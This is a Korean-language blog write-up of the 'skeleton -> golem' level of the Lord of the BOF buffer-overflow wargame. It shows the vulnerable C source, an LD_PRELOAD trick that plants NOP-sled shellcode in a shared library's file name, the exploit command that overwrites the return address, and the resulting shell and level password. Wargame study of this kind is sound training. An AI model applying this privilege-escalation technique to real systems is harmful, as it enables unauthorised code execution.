-->

[LOB] level11, skeleton -> golem 풀이

반응형

LOB, skeleton -> golem 문제 확인

이번엔 입력받은 buffer가 저장되는 곳부터 스택 끝까지 전부 초기화하는 stack destroyer 가 추가되었다. 새삼 문제 진짜 단계적으로 잘 낸것 같다...ㅋㅋ

 

/*
        The Lord of the BOF : The Fellowship of the BOF
        - golem
        - stack destroyer
*/

#include <stdio.h>
#include <stdlib.h>

extern char **environ;

main(int argc, char *argv[])
{
	char buffer[40];
	int i;

	if(argc < 2){
		printf("argv error\n");
		exit(0);
	}

	if(argv[1][47] != '\xbf')
	{
		printf("stack is still your friend.\n");
		exit(0);
	}

	strcpy(buffer, argv[1]); 
	printf("%s\n", buffer);

        // stack destroyer!
        memset(buffer, 0, 44);
	memset(buffer+48, 0, 0xbfffffff - (int)(buffer+48));
}

 

 

이번 문제의 의도는 스택을 사용하지 못한다면 어떻게 해야 하는가?에 대한 풀이를 하는 것이다. 

 

공유 라이브러리는 프로그램이 시작될 때 (시작되기 직전?) 메모리에 로드되는 라이브러리로 환경변수 LD_PRELOAD를 이용하면 공유 라이브러리 부분에 원하는 파일을 로드시킬 수 있다. 이전 문제들에서 쉘코드를 포함하는 파일명을 갖는 파일을 생성해서 심볼릭링크를 걸었던 것과 비슷하게 쉘코드를 포함하는 파일명을 갖는 라이브러리를 공유 라이브러리에 등록하면, 결국 메모리에 쉘코드가 올라가게 된다.

 

코드 영역
데이터 영역
힙 영역
공유라이브러리 영역
스택 영역
커널 영역

 

 

LOB, skeleton -> golem 풀이

그럼 test.c 라는 간단한 c파일을 생성 후 공유라이브러리로 컴파일을 해보자. 일반 gcc 컴파일에서 -shared 옵션만 추가해주면 된다. -shared 옵션은 so 파일을 컴파일하기 위한 옵션이고 so는 공유라이브러리 파일 확장자를 의미한다. 여기서 한가지 주의해야 할 것은 LD_PRELOAD를 등록할 때 절대경로를 사용해야한다는 것이다.

 


[skeleton@localhost skeleton]$ gcc test.c -shared -o

`python -c 'print "\x90"*100+"[shellcode]"'`

[skeleton@localhost skeleton]$ export LD_PRELOAD=

"`python -c 'print "/home/skeleton/"+"\x90"*100+"[shellcode]"'`"

 

 

 

gdb에서 프로그램이 종료되기 전 bp를 걸어주고 실행시킨다. 스택을 살펴보면, 대략 $esp-1100 부분에서 nop과 쉘코드를 발견할 수 있다. 확실히 스택영역보다 밑에있다?

 

 

 

LOB, skeleton -> golem 익스플로잇

리턴주소에 위에서 확인한 주소인 \xbffff5e4를 덮어주면 쉘을 획득할 수 있다.

 


[skeleton@localhost skeleton]$ ./golem `python -c 'print "A"*44+"\xe4\xf5\xff\xbf"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA?¿
bash$ id
uid=510(skeleton) gid=510(skeleton) euid=511(golem) egid=511(golem) groups=510(skeleton)
bash$ my-pass
euid = 511
cup of coffee

 

 

댓글

Designed by JB FACTORY